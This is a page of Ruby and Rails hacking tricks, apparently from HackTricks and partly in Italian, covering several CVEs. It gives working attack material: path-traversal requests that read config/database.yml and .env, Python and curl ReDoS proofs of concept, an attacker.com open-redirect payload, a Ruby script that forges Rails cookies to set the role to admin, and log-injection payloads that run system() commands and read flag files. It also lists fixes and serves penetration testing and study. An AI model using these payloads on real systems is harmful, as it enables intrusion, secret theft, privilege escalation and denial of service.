Trucchi Ruby
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Caricamento file per RCE
As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.
Consigli:
- Altri percorsi di boot/eager-load che vengono eseguiti all’avvio dell’app sono rischiosi se scrivibili (es.
config/initializers/è il classico). Se trovi un upload arbitrario che finisce in qualsiasi punto sottoconfig/e viene poi valutato/required, potresti ottenere RCE all’avvio. - Cerca build di dev/staging che copiano file controllati dall’utente nell’immagine del container dove Rails li caricherà al boot.
Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t] and/or params[:v] are attacker-controlled.
-
Cosa provare durante i test
-
Identifica endpoint che accettano opzioni variant/processing, nomi di trasformazione o argomenti ImageMagick arbitrari.
-
Fuzz
params[:t]eparams[:v]cercando errori sospetti o side-effect di esecuzione. Se puoi influenzare il nome del metodo o passare argomenti raw che raggiungono MiniMagick, potresti ottenere code exec sull’host che elabora le immagini. -
Se hai solo accesso in lettura alle variant generate, prova esfiltrazione blind tramite operazioni ImageMagick appositamente costruite.
-
Mitigazioni/rilevamenti
-
Se vedi Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage +
image_processing+mini_magicke trasformazioni controllate dall’utente, consideralo sfruttabile. Raccomanda l’aggiornamento e l’applicazione di allowlist rigorose per metodi/param e una policy ImageMagick più restrittiva.
Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.
- Cerca app che montano
Rack::Staticinconfig.ruo nello stack di middleware. Prova traversals codificati contro percorsi statici, per esempio:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Adatta il prefisso per farlo corrispondere a urls: configurati. Se l’app risponde con il contenuto del file, probabilmente hai LFI verso qualsiasi cosa sotto il :root risolto.
- Mitigazione: aggiorna Rack; assicurati che
:rootpunti solo a una directory di file pubblici ed è impostato esplicitamente.
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Rack < 3.0.9.1 and < 2.2.8.1 spent super-linear time parsing crafted Content-Type: multipart/form-data headers. A single POST with a gigantic A= parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.
- Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- Funziona contro qualsiasi stack basato su Rack (Rails/Sinatra/Hanami/Grape). Se è davanti nginx/haproxy con keep-alive, ripeti in parallelo per esaurire i worker.
- Fix applicato rendendo il parser lineare; cerca versioni del gem
rack<3.0.9.1o <2.2.8.1. In assessment, segnala che i WAF raramente bloccano questo perché l’header è sintatticamente valido.
REXML XML parser ReDoS (CVE-2024-49761)
The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., �x41;). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.
Minimal trigger against a Rails endpoint that parses XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
Se il processo rimane occupato per alcuni secondi e la worker CPU schizza, è probabile che sia vulnerabile. L’attacco è a basso consumo di banda e colpisce anche i background jobs che elaborano XML.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Le app che usano la gem cgi (di default in molti stack Rack) possono essere bloccate con un singolo header malevolo:
CGI::Cookie.parseaveva complessità super-lineare; stringhe di cookie enormi (migliaia di delimitatori) scatenano comportamento O(N²).CGI::Util#escapeElementregex permetteva ReDoS sull’escaping HTML.
Entrambi i problemi sono stati risolti in cgi 0.3.5.1 / 0.3.7 / 0.4.2. Per pentests, invia un enorme header Cookie: o fornisci HTML non attendibile al codice helper e osserva il blocco del worker. Combina con keep-alive per amplificare.
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
La gem googlesign_in < 1.3.0 (usata per Google OAuth su Rails) eseguiva un controllo same-origin incompleto sul parametro proceedto. Un URL malformato come proceedto=//attacker.com/%2F.. bypassa il controllo e reindirizza l’utente fuori sito preservando le flash/session cookies di Rails.
Exploit flow:
- La vittima clicca un link Google Sign-In appositamente costruito e ospitato dall’attaccante.
- Dopo l’autenticazione, la gem reindirizza verso un dominio controllato dall’attaccante, leaking flash notices o qualsiasi dato memorizzato nei cookie scoped al dominio wildcard.
- Se l’app memorizza token a breve durata o magic links nella flash, questo può essere sfruttato per un account takeover.
Durante i test, fai grep su Gemfile.lock per googlesign_in < 1.3.0 e prova valori malformati per proceedto. Conferma tramite l’header Location e la reflection dei cookie.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails cripta e firma i cookie usando chiavi derivate da secret_key_base. Se quel valore leaks (es. in un repo, nei log, o in credenziali mal configurate), di solito puoi decriptare, modificare e ri-criptare i cookie. Questo spesso porta a un bypass di authz se l’app memorizza ruoli, user IDs, o feature flags nei cookie.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
Ruby per decriptare/forgiare cookie
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])
salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”
Modify and re-encrypt (example: escalate role)
plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”
</details>
Note:
- Le app più datate possono usare AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, o serializer JSON/Marshal. Adatta salts, cipher e serializer di conseguenza.
- In caso di compromissione/assessment, ruota `secret_key_base` per invalidare tutti i cookie esistenti.
## Vedi anche (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
Quando un'app (spesso un semplice endpoint Rack/Sinatra/Rails) fa entrambe le cose:
- registra una stringa controllata dall'utente letteralmente, e
- in seguito esegue `load` su un file il cui percorso è derivato dalla stessa stringa (dopo `Pathname#cleanpath`),
Spesso è possibile ottenere remote code execution (RCE) avvelenando il log e poi costringendo l'app a `load`are il file di log. Primitive chiave:
- Ruby `load` valuta il contenuto del file target come Ruby indipendentemente dall'estensione del file. Qualsiasi file di testo leggibile il cui contenuto sia parsabile come Ruby verrà eseguito.
- `Pathname#cleanpath` collassa i segmenti `.` e `..` senza accedere al filesystem, abilitando il path smuggling: dati controllati dall'attaccante possono essere anteposti per il logging mentre il percorso pulito risultante continua a risolversi nel file destinato all'esecuzione (es., `../logs/error.log`).
### Pattern vulnerabile minimo
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Perché il log può contenere Ruby valido
Logger scrive righe di prefisso come:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
In Ruby, # avvia un commento e 9/2/2025 è solo aritmetica. Per iniettare codice Ruby valido devi:
- Inizia il tuo payload su una nuova riga in modo che non venga commentato dal
#nella INFO line; invia un newline iniziale (\no%0A). - Chiudi la
[pendente introdotta dalla INFO line. Un trucco comune è iniziare con]e opzionalmente rendere felice il parser con][0]=1. - Poi inserisci codice Ruby arbitrario (es.,
system(...)).
Esempio di ciò che finirà nel log dopo una richiesta con un crafted param:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Contrabbandare una singola stringa che al contempo registra codice e risolve nel percorso di log
Vogliamo una singola stringa controllata dall’attaccante che:
- quando registrata raw, contenga il nostro payload Ruby, e
- quando passata attraverso
Pathname.new(<input>).cleanpath, risolva in../logs/error.logcosì che il successivoloadesegua il file di log appena avvelenato.
Pathname#cleanpath ignora gli scheme e riduce i componenti di traversal, quindi quanto segue funziona:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Il
#prima di://assicura che Ruby ignori la parte finale quando il log viene eseguito, mentrecleanpathriduce comunque il suffisso a../logs/error.log. - La newline iniziale esce dalla riga INFO;
]chiude la parentesi quadra pendente;][0]=1soddisfa il parser.
Sfruttamento end-to-end
- Invia il seguente nome di script di backup (URL-encoda la prima newline come
%0Ase necessario):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- L’app registra la tua stringa grezza in
logs/error.log. - L’app calcola
cleanpathche risolve in../logs/error.loge chiamaloadsu di esso. - Ruby esegue il codice che hai iniettato nel log.
Per esfiltrare un file in un ambiente tipo CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (il primo carattere è un newline):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Riferimenti
- Annuncio di sicurezza di Rails: CVE-2025-24293 Active Storage metodi di trasformazione non sicuri (corretto in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
- Avviso GitHub: Rack::Static Local File Inclusion (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Documentazione Ruby Pathname.cleanpath
- Ruby Logger
- Come funziona load in Ruby
- Avviso Rack multipart ReDoS (CVE-2024-25126)
- Avvisi di sicurezza Ruby per CGI / URI (CVE-2025-27219/27220/27221)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


